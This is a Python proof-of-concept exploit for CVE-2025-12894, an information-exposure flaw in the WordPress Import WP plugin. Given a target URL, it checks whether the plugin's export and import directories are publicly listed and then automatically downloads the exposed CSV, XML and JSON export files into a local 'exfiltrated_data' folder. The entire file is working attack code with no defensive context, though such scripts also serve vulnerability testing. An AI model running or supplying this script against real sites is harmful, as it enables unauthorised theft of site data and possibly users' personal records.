# CVE-2025-12894 PoC - WordPress Import WP Sensitive Information Exposure
# Target: WordPress site with Import WP plugin <= 2.14.17
import requests
import sys
from urllib.parse import urljoin
def check_vulnerability(base_url):
"""Check if the target is vulnerable to CVE-2025-12894"""
# Check exportwp directory
export_url = urljoin(base_url, '/exportwp/')
import_url = urljoin(base_url, '/importwp/')
results = {
'exportwp_accessible': False,
'importwp_accessible': False,
'exported_files': [],
'imported_files': []
}
try:
# Try to access exportwp directory
response = requests.get(export_url, timeout=10, verify=False)
if response.status_code == 200:
results['exportwp_accessible'] = True
print(f"[+] exportwp directory is accessible at: {export_url}")
# Try to enumerate files (basic listing check)
if 'index of' in response.text.lower() or '<title>index of' in response.text.lower():
print(f"[!] Directory listing is enabled - sensitive files may be exposed")
# Extract file references from response
import re
files = re.findall(r'href=["\'](.*?)["\']', response.text)
results['exported_files'] = [f for f in files if f.endswith(('.csv', '.xml', '.json'))]
# Try to access importwp directory
response = requests.get(import_url, timeout=10, verify=False)
if response.status_code == 200:
results['importwp_accessible'] = True
print(f"[+] importwp directory is accessible at: {import_url}")
if 'index of' in response.text.lower() or '<title>index of' in response.text.lower():
print(f"[!] Directory listing is enabled - import files may be exposed")
import re
files = re.findall(r'href=["\'](.*?)["\']', response.text)
results['imported_files'] = [f for f in files if f.endswith(('.csv', '.xml', '.json'))]
return results
except requests.RequestException as e:
print(f"[-] Error: {e}")
return None
def download_exported_data(base_url, output_dir='./exfiltrated_data'):
"""Download exported files from vulnerable endpoint"""
import os
os.makedirs(output_dir, exist_ok=True)
export_url = urljoin(base_url, '/exportwp/')
try:
response = requests.get(export_url, timeout=10, verify=False)
if response.status_code == 200:
import re
files = re.findall(r'href=["\']([^"\']+\.(csv|xml|json))["\']', response.text)
for filename, _ in files:
file_url = urljoin(export_url, filename)
print(f"[*] Downloading: {file_url}")
file_response = requests.get(file_url, timeout=30, verify=False)
if file_response.status_code == 200:
local_path = os.path.join(output_dir, filename)
with open(local_path, 'wb') as f:
f.write(file_response.content)
print(f"[+] Saved to: {local_path}")
except Exception as e:
print(f"[-] Download error: {e}")
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python cve_2025_12894_poc.py <target_url>")
print("Example: python cve_2025_12894_poc.py http://example.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
print(f"[*] Checking target: {target}")
print(f"[*] Testing CVE-2025-12894 vulnerability...\n")
results = check_vulnerability(target)
if results:
if results['exportwp_accessible'] or results['importwp_accessible']:
print("\n[!] VULNERABLE - Sensitive directories are exposed")
print("\n[*] Attempting to download exported data...")
download_exported_data(target)
else:
print("\n[-] Target appears to be patched or not vulnerable")